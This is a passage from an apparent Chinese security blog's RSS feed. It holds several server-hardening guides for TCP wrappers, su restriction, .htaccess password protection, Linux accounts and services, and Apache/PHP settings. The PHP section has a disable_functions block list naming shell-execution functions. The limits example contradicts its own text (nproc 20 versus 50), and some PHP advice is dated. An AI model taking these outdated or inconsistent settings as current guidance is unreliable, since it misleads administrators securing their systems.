/sbin/service proftpd start</p>
<p>6.TCP wrappers<br />
编辑hosts.allow和hosts.deny可以限制或允许访问inet服务</p>
<p>方法：<br />
限制访问inet服务<br />
修改/etc/hosts.allow<br />
建议格式：<br />
#Approved IP addresses<br />
ALL:192.168.0.1<br />
ALL:192.168.5.2<br />
#CSV uploader machine<br />
proftpd:10.0.0.5<br />
#pop3 from antwhere<br />
ipop3:ALL<br />
修改/etc/hosts.deny<br />
ALL:ALL EXCEPT localhostENY</p>
<p>7.创建SU用户组<br />
因为我们在SSH禁止了root用户访问并且禁用了telnet，所有我们应该<br />
分配给一些用户su权限来获取root特权</p>
<p>方法：<br />
vi /etc/group<br />
添加一行 wheel:x:10:root,user1,user2<br />
chgrp wheel /bin/su<br />
chmod o-rwx /bin/su</p>
<p>8.root通知<br />
当一个具有root权限的用户登录的时候发mail<br />
方法：<br />
编辑/root下的.bashrc ，当有root权限的用户登录时发生email通知<br />
echo &#8216;ALERT &#8211; Root Shell Access (Server Name) on:&#8217; `date` `who` | mail -s</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/linux%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%8a%a0%e5%9b%bapaper/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>linux下.htaccess使用说明</title>
		<link>http://www.0x50sec.org/linux%e4%b8%8b-htaccess%e4%bd%bf%e7%94%a8%e8%af%b4%e6%98%8e/</link>
		<comments>http://www.0x50sec.org/linux%e4%b8%8b-htaccess%e4%bd%bf%e7%94%a8%e8%af%b4%e6%98%8e/#comments</comments>
		<pubDate>Thu, 15 Apr 2010 03:14:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[Web安全配置]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=781</guid>
		<description><![CDATA[来源:milsec.net 作者kindle .htaccess可以做大量范围的事情，包括：文件夹密码保护、用户自动重新指向、自定义错误页面、变更你的文件扩展名、屏蔽特定的用户IP地址、只允许特定的IP地址、停止目录表以及使用其他文件作为index文件，等等…… 1. Introduction 介绍 文件名 .htaccess 属性 644 (RW-R–R–) htaccess会影响它所在目录下的所有子目录 注意大多数内容都要求保持在一行之内，不要换行，否则会引起错误 2. Error Documents 错误文档 Official document: ErrorDocument Directive ErrorDocument code document 例子 ErrorDocument 400 /errors/badrequest.html ErrorDocument 404 http://yoursite/errors/notfound.html ErrorDocument 401 “Authorization Required” (注意之后内容如果出现的双引号需要转义为 \”) 常见HTTP状态码 Successful Client Requests 200 OK 201 Created 202 Accepted 203 Non-Authorative Information 204 No Content 205 Reset [...]]]></description>
			<content:encoded><![CDATA[<p>来源:milsec.net</p>
<p>作者kindle</p>
<p>.htaccess可以做大量范围的事情，包括：文件夹密码保护、用户自动重新指向、自定义错误页面、变更你的文件扩展名、屏蔽特定的用户IP地址、只允许特定的IP地址、停止目录表以及使用其他文件作为index文件，等等……</p>
<p>1. Introduction 介绍<br />
文件名 .htaccess 属性 644 (RW-R–R–)<br />
htaccess会影响它所在目录下的所有子目录<br />
注意大多数内容都要求保持在一行之内，不要换行，否则会引起错误</p>
<p>2. Error Documents 错误文档<br />
Official document: ErrorDocument Directive<br />
ErrorDocument code document<br />
例子<br />
ErrorDocument 400 /errors/badrequest.html<br />
ErrorDocument 404 http://yoursite/errors/notfound.html<br />
ErrorDocument 401 “Authorization Required”<br />
(注意之后内容如果出现的双引号需要转义为 \”)<br />
常见HTTP状态码<br />
Successful Client Requests<br />
200 OK<br />
201 Created<br />
202 Accepted<br />
203 Non-Authorative Information<br />
204 No Content<br />
205 Reset Content<br />
206 Partial Content<br />
Client Request Redirected<br />
300 Multiple Choices<br />
301 Moved Permanently<br />
302 Moved Temporarily<br />
303 See Other<br />
304 Not Modified<br />
305 Use Proxy<br />
Client Request Errors<br />
400 Bad Request<br />
401 Authorization Required</p>
<p>402 Payment Required (not used yet)<br />
<span id="more-781"></span>403 Forbidden<br />
404 Not Found<br />
405 Method Not Allowed<br />
406 Not Acceptable (encoding)<br />
407 Proxy Authentication Required<br />
408 Request Timed Out<br />
409 Conflicting Request<br />
410 Gone<br />
411 Content Length Required<br />
412 Precondition Failed<br />
413 Request Entity Too Long<br />
414 Request URI Too Long<br />
415 Unsupported Media Type<br />
Server Errors<br />
500 Internal Server Error<br />
501 Not Implemented<br />
502 Bad Gateway<br />
503 Service Unavailable<br />
504 Gateway Timeout<br />
505 HTTP Version Not Supported</p>
<p>3. Password Protection 密码保护<br />
Official document: Authentication, Authorization and Access Control<br />
假设密码文件为.htpasswd<br />
AuthUserFile /usr/local/safedir/.htpasswd (这里必须使用全路径名)<br />
AuthName EnterPassword<br />
AuthType Basic<br />
两种常见验证方式:<br />
Require user windix<br />
(仅允许用户windix登陆)<br />
Require valid-user<br />
(所有合法用户都可登陆)<br />
Tip: 如何生成密码文件<br />
使用htpasswd命令(apache自带)<br />
第一次生成需要创建密码文件<br />
htpasswd -c .htpasswd user1<br />
之后增加新用户<br />
htpasswd .htpasswd user2</p>
<p>1.用下行命令生成一个.htpasswd密码文件。</p>
<p>/usr/local/apache2/bin/htpasswd -b -c /(存放密码文件路径)/.htpasswd username password</p>
<p>2.在需要加密的目录下面加入以下代码段，例如需要加密根目录html 下的ftp目录，则增加如下代码段：</p>
<p>&lt;Directory &#8220;（自定义）/html/ftp&#8221;&gt;</p>
<p>AuthType Basic</p>
<p>AuthName &#8220;FTP-Dir&#8221;</p>
<p>AuthUserFile &#8220;/(存放密码文件路径)/.htpasswd&#8221;</p>
<p>Require valid-user</p>
<p>&lt;/Directory&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/linux%e4%b8%8b-htaccess%e4%bd%bf%e7%94%a8%e8%af%b4%e6%98%8e/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux网络安全之经验谈</title>
		<link>http://www.0x50sec.org/linux%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e4%b9%8b%e7%bb%8f%e9%aa%8c%e8%b0%88/</link>
		<comments>http://www.0x50sec.org/linux%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e4%b9%8b%e7%bb%8f%e9%aa%8c%e8%b0%88/#comments</comments>
		<pubDate>Thu, 15 Apr 2010 03:11:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[安全配置]]></category>
		<category><![CDATA[网络安全]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=779</guid>
		<description><![CDATA[来源:milsec.net 关于分区 一个潜在的黑客如果要攻击你的Linux服务器，他首先就会尝试缓冲区溢出。在过去的几年中，以缓冲区溢出为类型的安全漏洞是最为常见的一种形式了。更为严重的是，缓冲区溢出漏洞占了远程网络攻击的绝大多数，这种攻击可以轻易使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权！ 为了防止此类攻击，我们从安装系统时就应该注意。如果用root分区纪录数据，如log文件和email，就可能因为拒绝服务产生大量日志或垃圾邮件，从而导致系统崩溃。所以建议为/var开辟单独的分区，用来存放日志和邮件，以避免root分区被溢出。最好为特殊的应用程序单独开一个分区，特别是可以产生大量日志的程序，还有建议为/home单独分一个区，这样他们就不能填满/分区了，从而就避免了部分针对 Linux分区溢出的恶意攻击。 关于BIOS 记着要在BIOS设置中设定一个BIOS密码，不接收软盘启动。这样可以阻止不怀好意的人用专门的启动盘启动你的Linux系统，并避免别人更改BIOS设置，如更改软盘启动设置或不弹出密码框直接启动服务器等等。 关于口令 口令是系统中认证用户的主要手段，系统安装时默认的口令最小长度通常为5，但为保证口令不易被猜测攻击，可增加口令的最小长度，至少等于8。为此，需修改文件/etc/login.defs中参数PASS_MIN_LEN（口令最小长度）。同时应限制口令使用时间，保证定期更换口令，建议修改参数 PASS_MIN_DAYS（口令使用时间）。 关于Ping 既然没有人能ping通你的机器并收到响应，你可以大大增强你的站点的安全性。你可以加下面的一行命令到/etc/rc.d/rc.local，以使每次启动后自动运行，这样就可以阻止你的系统响应任何从外部/内部来的ping请求。 echo 1 &#62; /proc/sys/net/ipv4/icmp_echo_ignore_all 关于Telnet 如果你希望用户用Telnet远程登录到你的服务器时不要显示操作系统和版本信息（可以避免有针对性的漏洞攻击），你应该改写/etc/inetd.conf中的一行象下面这样： telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h 加-h标志在最后使得telnet后台不要显示系统信息，而仅仅显示login。 关于特权账号 禁止所有默认的被操作系统本身启动的且不需要的帐号，当你第一次装上系统时就应该做此检查，Linux提供了各种帐号，你可能不需要，如果你不需要这个帐号，就移走它，你有的帐号越多，就越容易受到攻击。 为删除你系统上的用户，用下面的命令：userdel username 为删除你系统上的组用户帐号，用下面的命令：groupdel username 在终端上打入下面的命令删掉下面的特权用账号： userdel adm userdel lp userdel sync userdel shutdown userdel halt userdel mail 如果你不用sendmail服务器，就删除这几个帐号： userdel news userdel uucp userdel operator userdel games [...]]]></description>
			<content:encoded><![CDATA[<p>来源:milsec.net<br />
关于分区<br />
一个潜在的黑客如果要攻击你的Linux服务器，他首先就会尝试缓冲区溢出。在过去的几年中，以缓冲区溢出为类型的安全漏洞是最为常见的一种形式了。更为严重的是，缓冲区溢出漏洞占了远程网络攻击的绝大多数，这种攻击可以轻易使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权！</p>
<p>为了防止此类攻击，我们从安装系统时就应该注意。如果用root分区纪录数据，如log文件和email，就可能因为拒绝服务产生大量日志或垃圾邮件，从而导致系统崩溃。所以建议为/var开辟单独的分区，用来存放日志和邮件，以避免root分区被溢出。最好为特殊的应用程序单独开一个分区，特别是可以产生大量日志的程序，还有建议为/home单独分一个区，这样他们就不能填满/分区了，从而就避免了部分针对 Linux分区溢出的恶意攻击。</p>
<p>关于BIOS</p>
<p>记着要在BIOS设置中设定一个BIOS密码，不接收软盘启动。这样可以阻止不怀好意的人用专门的启动盘启动你的Linux系统，并避免别人更改BIOS设置，如更改软盘启动设置或不弹出密码框直接启动服务器等等。<br />
<span id="more-779"></span>关于口令</p>
<p>口令是系统中认证用户的主要手段，系统安装时默认的口令最小长度通常为5，但为保证口令不易被猜测攻击，可增加口令的最小长度，至少等于8。为此，需修改文件/etc/login.defs中参数PASS_MIN_LEN（口令最小长度）。同时应限制口令使用时间，保证定期更换口令，建议修改参数 PASS_MIN_DAYS（口令使用时间）。</p>
<p>关于Ping</p>
<p>既然没有人能ping通你的机器并收到响应，你可以大大增强你的站点的安全性。你可以加下面的一行命令到/etc/rc.d/rc.local，以使每次启动后自动运行，这样就可以阻止你的系统响应任何从外部/内部来的ping请求。</p>
<p>echo 1 &gt; /proc/sys/net/ipv4/icmp_echo_ignore_all</p>
<p>关于Telnet</p>
<p>如果你希望用户用Telnet远程登录到你的服务器时不要显示操作系统和版本信息（可以避免有针对性的漏洞攻击），你应该改写/etc/inetd.conf中的一行象下面这样：</p>
<p>telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h</p>
<p>加-h标志在最后使得telnet后台不要显示系统信息，而仅仅显示login。</p>
<p>关于特权账号</p>
<p>禁止所有默认的被操作系统本身启动的且不需要的帐号，当你第一次装上系统时就应该做此检查，Linux提供了各种帐号，你可能不需要，如果你不需要这个帐号，就移走它，你有的帐号越多，就越容易受到攻击。</p>
<p>为删除你系统上的用户，用下面的命令：userdel username</p>
<p>为删除你系统上的组用户帐号，用下面的命令：groupdel username</p>
<p>在终端上打入下面的命令删掉下面的特权用账号：</p>
<p>userdel adm<br />
userdel lp<br />
userdel sync<br />
userdel shutdown<br />
userdel halt<br />
userdel mail</p>
<p>如果你不用sendmail服务器，就删除这几个帐号：</p>
<p>userdel news<br />
userdel uucp<br />
userdel operator<br />
userdel games</p>
<p>如果你不用X windows 服务器，就删掉这个帐号。</p>
<p>userdel gopher</p>
<p>如果你不允许匿名FTP，就删掉这个用户帐号：</p>
<p>userdel ftp</p>
<p>如果你不想任何人能够su为root的话,你应该编辑/etc/pam.d/su文件，加下面几行：</p>
<p>auth sufficient /lib-<br />
/security/pam_rootok-<br />
.so debug</p>
<p>auth required /lib-<br />
/security/pam_wheel-<br />
.so group=isd</p>
<p>这意味着仅仅isd组的用户可以su作为root。如果你希望用户admin能su作为root.就运行下面的命令：</p>
<p>usermod -G10 admin</p>
<p>suid程序也是非常危险的，这些程序被普通用户以euid=0（即root）的身份执行，只能有少量程序被设置为suid。用这个命令列出系统的suid二进制程序：</p>
<p>suneagle# find / -perm -4000 -print</p>
<p>你可以用chmod -s去掉一些不需要程序的suid位。</p>
<p>关于账户注销</p>
<p>如果系统管理员在离开系统时忘了从root注销，系统应该能够自动从shell中注销。那么，你就需要设置一个特殊的 Linux 变量“tmout”，用以设定时间。同样，如果用户离开机器时忘记了注销账户，则可能给系统安全带来隐患。你可以修改/etc/profile文件，保证账户在一段时间没有操作后，自动从系统注销。 编辑文件/etc/profile，在“histfilesize=”行的下一行增加如下一行:</p>
<p>tmout=600</p>
<p>则所有用户将在10分钟无操作后自动注销。注意：修改了该参数后，必须退出并重新登录root，更改才能生效。</p>
<p>关于系统文件</p>
<p>对于系统中的某些关键性文件如passwd、passwd.old、passwd._、shadow、shadown._、inetd.conf、 services和lilo.conf等可修改其属性，防止意外修改和被普通用户查看。 如将inetd文件属性改为600：</p>
<p># chmod 600 /etc/inetd.conf</p>
<p>这样就保证文件的属主为root，然后还可以将其设置为不能改变:</p>
<p># chattr +i /etc/inetd.conf</p>
<p>这样，对该文件的任何改变都将被禁止。 你可能要问：那我自己不是也不能修改了？当然，我们可以设置成只有root重新设置复位标志后才能进行修改:</p>
<p># chattr -i /etc/inetd.conf</p>
<p>关于用户资源</p>
<p>对你的系统上所有的用户设置资源限制可以防止DoS类型攻击，如最大进程数，内存数量等。例如，对所有用户的限制， 编辑/etc/security/limits.con加入以下几行：</p>
<p>* hard core 0<br />
* hard rss 5000<br />
* hard nproc 20</p>
<p>你也必须编辑/etc/pam.d/login文件，检查这一行的存在：</p>
<p>session required /lib/security/pam_limits.so</p>
<p>上面的命令禁止core files“core 0”，限制进程数为“nproc 50“，且限制内存使用为5M“rss 5000”。</p>
<p>关于NFS服务器</p>
<p>由于NFS服务器漏洞比较多，你一定要小心。如果要使用NFS网络文件系统服务，那么确保你的/etc/exports具有最严格的存取权限设置，不意味着不要使用任何通配符，不允许root写权限，mount成只读文件系统。你可以编辑文件/etc/exports并且加：</p>
<p>/dir/to/export host1.mydomain.com(ro,root_squash)<br />
/dir/to/export host2.mydomain.com(ro,root_squash)</p>
<p>其中/dir/to/export 是你想输出的目录，host.mydomain.com是登录这个目录的机器名，ro意味着mount成只读系统，root_squash禁止root写入该目录。最后为了让上面的改变生效，还要运行/usr/sbin/exportfs -a</p>
<p>关于开启的服务</p>
<p>默认的 linux就是一个强大的系统，运行了很多的服务。但有许多服务是不需要的，很容易引起安全风险。这个文件就是/etc/inetd.conf，它制定了 /usr/sbin/inetd将要监听的服务，你可能只需要其中的两个：telnet和ftp，其它的类如shell, login, exec, talk, ntalk, imap, pop-2, pop-3, finger, auth, etc. 除非你真的想用它。否则统统关闭之。</p>
<p>你先用下面的命令显示没有被注释掉的服务：</p>
<p>grep -v &#8220;#&#8221; /etc/inetd.conf</p>
<p>这个命令统计面前服务的总数：</p>
<p>ps -eaf|wc -l</p>
<p>需要提醒你的是以下三个服务漏洞很多，强烈建议你关闭它们：S34yppasswdd（NIS服务器）、S35ypserv（NIS服务器）和S60nfs（NFS服务器）。</p>
<p>我们可以运行#killall -HUP inetd来关闭不需要的服务。当然，你也可以运行</p>
<p>#chattr +i /etc/inetd.conf</p>
<p>如果你想使inetd.conf文件具有不可更改属性，而只有root 才能解开，敲以下命令</p>
<p>#chattr -i /etc/inetd.conf</p>
<p>当你关闭一些服务以后，重新运行以上命令看看少了多少服务。运行的服务越少，系统自然越安全了。我们可以用下面命令察看哪些服务在运行：</p>
<p>netstat -na &#8211;ip</p>
<p>如果你用的是Redhat那就方便多了。^_^ Redhat提供一个工具来帮助你关闭服务，输入/usr/sbin/setup，然后选择&#8221;system services&#8221;，就可以定制系统启动时跑哪些服务。另外一个选择是chkconfig命令，很多linux版本的系统都自带这个工具。脚本名字中的数字是启动的顺序，以大写的K开头的是杀死进程用的。</p>
<p>关于日志</p>
<p>所有的日志都在/var/log下（仅对linux系统而言），默认情况下linux的日志就已经很强大了，但除ftp外。因此我们可以通过修改/etc/ftpaccess 或者/etc/inetd.conf，来保证每一个ftp连接日志都能够纪录下来。下面是一个修改inetd.conf的例子，假如有下一行：</p>
<p>ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -L -i -o</p>
<p>注释：<br />
-l每一个ftp连接都写到syslog<br />
-L纪录用户的每一个命令<br />
-i文件received,纪录到xferlog<br />
-o文件transmitted,记录到xferlog</p>
<p>不过你也不要太相信日志，因为绝大部分黑客都有“擦脚印”的“好”习惯啰！如果你不放心，最好安装一个Sniffer吧。</p>
<p>关于TCP_WRAPPERS</p>
<p>默认的，Redhat Linux允许所有的请求，这是很危险的。如果用TCP_WRAPPERS来增强我们站点的安全性简直是举手之劳，你可以将禁止所有的请求放入“ALL: ALL”到/etc/hosts.deny中，然后放那些明确允许的请求到/etc/hosts.allow中，如:</p>
<p>sshd: 192.168.1.10/255.255.255.0 gate.openarch.com</p>
<p>对 IP地址192.168.1.10和主机名gate.openarch.com，允许通过ssh连接。配置完了之后，用tcpdchk检查，你可以直接执行：tcpdchk 。在这里，tcpchk是TCP_Wrapper配置检查工具，它检查你的tcp wrapper配置并报告所有发现的潜在/存在的问题。</p>
<p>关于补丁</p>
<p>你应该经常到你所安装的Linux系统发行商的主页上去找最新的补丁.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/linux%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e4%b9%8b%e7%bb%8f%e9%aa%8c%e8%b0%88/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Apache+Php Web安全配置全攻略</title>
		<link>http://www.0x50sec.org/apachephp-web%e5%ae%89%e5%85%a8%e9%85%8d%e7%bd%ae%e5%85%a8%e6%94%bb%e7%95%a5/</link>
		<comments>http://www.0x50sec.org/apachephp-web%e5%ae%89%e5%85%a8%e9%85%8d%e7%bd%ae%e5%85%a8%e6%94%bb%e7%95%a5/#comments</comments>
		<pubDate>Thu, 15 Apr 2010 02:49:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web安全配置]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=776</guid>
		<description><![CDATA[apache+php Web安全配置全攻略 kindle整理 个人整理算不上原创，mysql的略过不说了 apache方面: 1.编译源代码，修改默认的banner 2.修改默认的http状态响应码404,503等默认页面 3.访问特殊目录需要密码.htaccess 4.关闭索引目录options -Indexes 5.关闭CGI执行程序options -ExecCGI 6.apache限制目录php_admin_value open_basedir /var/www 7.apache的php扩展名解析漏洞 apache配置文件，禁止.php.这样的文件执行，配置文件里面加入 &#60;Files ~ &#8220;\.(php.&#124;php3.)&#8221;&#62; Order Allow,Deny Deny from all &#60;/Files&#62; 8.apache设置上传目录无执行权限 关闭路径/www/home/upload的php解析： &#60;Directory &#8220;/www/home/upload&#8221;&#62; &#60;Files ~ &#8220;.php&#8221;&#62; Order allow,deny Deny from all &#60;/Files&#62; &#60;/Directory&#62; PHP方面: 1.配置文件php.ini设置register_globals = Off。（防止变量滥用） 2.magic_quotes_gpc=On还是必须的了，咱可以程序处理好，客户不能- &#8211; ！！ 3.safe_mode是唯一PHP_INI_SYSTEM属性，必须通过php.ini或httpd.conf来设置。要启用safe_mode，只需修改php.ini：safe_mode = On（避免本地包含、文件打开、命令执行） 4.如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件（避免远程包含漏洞） 5.防注入,在php.ini中，找到此节： ; Automatically add [...]]]></description>
			<content:encoded><![CDATA[<p>apache+php Web安全配置全攻略</p>
<p>kindle整理<br />
个人整理算不上原创，mysql的略过不说了</p>
<p>apache方面:</p>
<p>1.编译源代码，修改默认的banner</p>
<p>2.修改默认的http状态响应码404,503等默认页面</p>
<p>3.访问特殊目录需要密码.htaccess</p>
<p>4.关闭索引目录options -Indexes</p>
<p>5.关闭CGI执行程序options -ExecCGI</p>
<p>6.apache限制目录php_admin_value open_basedir /var/www</p>
<p>7.apache的php扩展名解析漏洞<br />
apache配置文件，禁止.php.这样的文件执行，配置文件里面加入</p>
<p>&lt;Files ~ &#8220;\.(php.|php3.)&#8221;&gt;<br />
Order Allow,Deny<br />
Deny from all<br />
&lt;/Files&gt;</p>
<p>8.apache设置上传目录无执行权限<br />
关闭路径/www/home/upload的php解析：<br />
&lt;Directory &#8220;/www/home/upload&#8221;&gt;<br />
&lt;Files ~ &#8220;.php&#8221;&gt;<br />
Order allow,deny<br />
Deny from all<br />
&lt;/Files&gt;<br />
&lt;/Directory&gt;</p>
<p>PHP方面:<br />
<span id="more-776"></span><br />
1.配置文件php.ini设置register_globals = Off。（防止变量滥用）</p>
<p>2.magic_quotes_gpc=On还是必须的了，咱可以程序处理好，客户不能- &#8211; ！！</p>
<p>3.safe_mode是唯一PHP_INI_SYSTEM属性，必须通过php.ini或httpd.conf来设置。要启用safe_mode，只需修改php.ini：safe_mode = On（避免本地包含、文件打开、命令执行）</p>
<p>4.如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件（避免远程包含漏洞）</p>
<p>5.防注入,在php.ini中，找到此节：<br />
; Automatically add files before or after any PHP document.<br />
;auto_prepend_file = &#8220;phpids.php&#8221;<br />
;auto_append_file = &#8220;alert.php&#8221;</p>
<p>默认是空，请添加所包含的文件。<br />
同时找到：<br />
; UNIX: &#8220;/path1:/path2&#8243;<br />
;include_path = &#8220;.:/php/includes&#8221;<br />
;<br />
; Windows: &#8220;\path1;\path2&#8243;<br />
include_path = &#8220;.;F:\PHPnow\htdocs&#8221;</p>
<p>6.修改display_errors = Off(关闭警告及错误信息,爆路径)</p>
<p>7.disable_function要屏蔽的</p>
<p>disable_functions = phpinfo,exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source</p>
<p>8.disable_classes可以禁用某些类，如果有多个用逗号分隔类名，看情况所需</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/apachephp-web%e5%ae%89%e5%85%a8%e9%85%8d%e7%bd%ae%e5%85%a8%e6%94%bb%e7%95%a5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

